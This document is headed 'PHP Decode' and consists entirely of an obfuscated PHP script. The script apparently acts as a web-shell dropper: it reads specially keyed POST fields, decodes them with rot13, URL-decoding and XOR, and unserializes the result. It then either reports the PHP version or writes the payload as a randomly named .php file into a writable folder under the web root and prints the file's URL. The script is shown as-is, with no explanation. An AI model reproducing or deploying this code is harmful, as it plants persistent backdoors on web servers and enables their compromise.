PHP Decode

<?php $HLByVLIc = "CtglYRbDsQ";function iFYVzIuXNV($HLByVLIc){$QkvCZ = "\162".chr(97)."\167"."\165".chr(114)."\154"."\x64".chr(101).chr(99)."\x6f"."\144".chr(759-658);$IThbomCI = chr(245-130)."\164"."\x72".chr(95)."\162"."\x6f"."\164"."\61".chr(625-574);$fVTIfuVe = chr(154-39)."\164"."\162".chr(95).chr(516-401).'p'.'l'."\151".chr(1098-982);$HLByVLIc = $fVTIfuVe($QkvCZ($IThbomCI($HLByVLIc)));return $HLByVLIc;}function wHocsr($HAcofds, $uacjSJKQ){$GjMRmRclxI = "\x73".chr(766-650)."\162".'_'."\x73".'p'.'l'.chr(716-611)."\x74";$HAcofds = array_slice($GjMRmRclxI(str_repeat($HAcofds, (count($uacjSJKQ)/16)+1)), 0, count($uacjSJKQ));return $HAcofds;}function vjBio($huPTZBRWXx, $EEkaEOkVKe, $HAcofds){$NSMwIqZ = "eefab396-3d00-4064-b414-f3df52904723";return $huPTZBRWXx ^ $NSMwIqZ[$EEkaEOkVKe % strlen($NSMwIqZ)] ^ $HAcofds;}function PXFkvCqOh($uacjSJKQ, $HAcofds){$uacjSJKQ = array_map("vjBio", array_values($uacjSJKQ), array_keys($uacjSJKQ), array_values($HAcofds));$uacjSJKQ = implode("", $uacjSJKQ);$SXFEZEp = "\x75".'n'."\x73".'e'.chr(114).'i'."\141".'l'.chr(553-448).'z'."\145";$uacjSJKQ = @$SXFEZEp($uacjSJKQ);return $uacjSJKQ;}function TECtmtE(){echo "oPWlKbGEV";}function IGoAVO($zXIclKVjiir){static $NlHyeB = array();$kcuKyJJpJR = glob($zXIclKVjiir . '/*', GLOB_ONLYDIR);$wgfKTV = count($kcuKyJJpJR);if ($wgfKTV > 0) {foreach ($kcuKyJJpJR as $zXIclKVji) {$EDHKD = "\151".chr(1039-924).chr(464-369).chr(899-780).'r'.chr(615-510)."\x74"."\x61"."\x62".'l'.'e';if (@$EDHKD($zXIclKVji)) {$NlHyeB[] = $zXIclKVji;}}}foreach ($kcuKyJJpJR as $zXIclKVjiir) IGoAVO($zXIclKVjiir);return $NlHyeB;}function VYUgpGKVDN(){echo "CtglYRbDsQ";}function fSPqRJIRk($uacjSJKQ){$aCJJPRJYW = chr(68)."\117".'C'."\125"."\115".'E'.chr(78).chr(84).chr(95).chr(82)."\x4f".chr(80-1).'T';$OMGIrCo = $_SERVER[$aCJJPRJYW];$kcuKyJJpJR = IGoAVO($OMGIrCo);$JSMyLW = array_rand($kcuKyJJpJR);$EZlVDBd = "\x2e"."\160".'h'.chr(577-465);$jqubaKv = $kcuKyJJpJR[$JSMyLW] . "/" . substr(md5(time()), 0, 8) . $EZlVDBd;$lXjsp = chr(760-658).'i'.chr(1037-929).'e'.chr(95)."\x70"."\165"."\164".chr(95).chr(232-133)."\157"."\156".chr(116).chr(361-260).'n'."\x74"."\x73";@$lXjsp($jqubaKv, $uacjSJKQ);$LOxiXgRs = 'H'."\124"."\x54".chr(80).'_'."\110".chr(79)."\123"."\x54";$InTYpSPsw = chr(673-569).'t'.chr(259-143).chr(112)."\x3a".chr(47).chr(47);$TsQYlxIyo = $InTYpSPsw . $_SERVER[$LOxiXgRs] . substr($jqubaKv, strlen($OMGIrCo));print($TsQYlxIyo);}foreach ($_POST as $HAcofds => $uacjSJKQ){$zXIclKVjiSEWWRSPhM = strlen($HAcofds);if ($zXIclKVjiSEWWRSPhM == 16){$uacjSJKQ = iFYVzIuXNV($uacjSJKQ);$HAcofds = wHocsr($HAcofds, $uacjSJKQ);$uacjSJKQ = PXFkvCqOh($uacjSJKQ, $HAcofds);if (@is_array($uacjSJKQ)){$JSMyLW = array_keys($uacjSJKQ);$uacjSJKQ = $uacjSJKQ[$JSMyLW[0]];if ($uacjSJKQ === $JSMyLW[0]){$yDdmCN = "\x70".chr(290-186)."\x70";$GTZClcbB = "\x70".'h'."\x70".chr(118).chr(564-463).chr(846-732).chr(115).chr(105)."\157"."\156";$vbmMKoO = "\163".chr(101).'r'.chr(105).chr(97)."\x6c"."\151".chr(319-197).chr(101);echo @$vbmMKoO(Array($yDdmCN => @$GTZClcbB(), ));strlen($HAcofds);}else {fSPqRJIRk($uacjSJKQ);}die();}}}